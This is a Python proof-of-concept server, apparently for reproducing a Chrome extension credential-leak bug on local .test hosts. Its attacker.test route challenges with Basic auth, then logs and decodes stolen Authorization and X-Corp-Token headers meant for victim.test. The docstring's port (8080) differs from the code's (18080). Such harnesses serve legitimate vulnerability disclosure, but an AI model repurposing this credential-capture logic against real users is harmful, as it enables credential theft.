#!/usr/bin/env python3
"""POC server.

Routes by Host header:
  page.test     -> serves poc.html
  victim.test   -> /hang : accepts the connection then sleeps forever (keeps
                   InProgressRequest_A alive in the browser so the
                   request_id->A mapping persists).
  attacker.test -> /auth : returns 401 WWW-Authenticate: Basic. On retry,
                   logs the Authorization header. If it contains the secret
                   the extension only supplies for victim.test, prints
                   EXPLOIT-SUCCEEDED.

Run on 0.0.0.0:8080 and start Chrome with
  --host-resolver-rules="MAP *.test 127.0.0.1"
"""

import base64
import http.server
import os
import socketserver
import sys
import threading
import time

PORT = 18080
HERE = os.path.dirname(os.path.abspath(__file__))


class Handler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def log(self, msg):
        sys.stderr.write("[server %s] %s\n" % (threading.current_thread().name, msg))
        sys.stderr.flush()

    def do_GET(self):
        host = (self.headers.get("Host") or "").split(":")[0]
        self.log("GET host=%s path=%s" % (host, self.path))

        if host == "victim.test":
            return self.handle_victim()
        if host == "attacker.test":
            return self.handle_attacker()
        return self.handle_page()

    # ---- page.test ----
    def handle_page(self):
        if self.path in ("/", "/poc.html"):
            with open(os.path.join(HERE, "poc.html"), "rb") as f:
                body = f.read()
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        self.send_response(404)
        self.send_header("Content-Length", "0")
        self.end_headers()

    # ---- victim.test ----
    def handle_victim(self):
        # Keep the underlying URLRequest alive in the network service so that
        # InProgressRequest_A in the browser stays in-flight and the
        # network_request_id_to_web_request_id_[X] -> A mapping persists.
        self.log("victim.test: hanging request " + self.path)
        try:
            time.sleep(3600)
        except Exception:
            pass

    # ---- attacker.test ----
    def handle_attacker(self):
        auth = self.headers.get("Authorization")
        xcorp = self.headers.get("X-Corp-Token")
        if xcorp:
            self.log("attacker.test received X-Corp-Token: %s" % xcorp)
            if "victim.test" in xcorp:
                self.log("=" * 70)
                self.log("EXPLOIT-SUCCEEDED (header variant): attacker.test received "
                         "X-Corp-Token meant for victim.test: %s" % xcorp)
                self.log("=" * 70)
        if auth:
            decoded = ""
            try:
                if auth.lower().startswith("basic "):
                    decoded = base64.b64decode(auth[6:]).decode("utf-8", "replace")
            except Exception:
                pass
            self.log("attacker.test received Authorization: %s  decoded=%r" %
                     (auth, decoded))
            if "VICTIM_USER" in decoded or "victim.test" in decoded:
                self.log("=" * 70)
                self.log("EXPLOIT-SUCCEEDED: attacker.test received credentials the "
                         "extension supplies only for victim.test")
                self.log("  decoded credentials: %r" % decoded)
                self.log("=" * 70)
            body = b"ok"
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        # No Authorization yet -> challenge.
        self.log("attacker.test: sending 401 challenge")
        self.send_response(401)
        self.send_header("WWW-Authenticate", 'Basic realm="attacker"')
        self.send_header("Content-Length", "0")
        self.end_headers()

    def log_message(self, fmt, *args):
        pass  # suppress default access log


class ThreadedHTTPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    daemon_threads = True
    allow_reuse_address = True


if __name__ == "__main__":
    srv = ThreadedHTTPServer(("0.0.0.0", PORT), Handler)
    sys.stderr.write("[server] listening on 0.0.0.0:%d\n" % PORT)
    sys.stderr.flush()
    srv.serve_forever()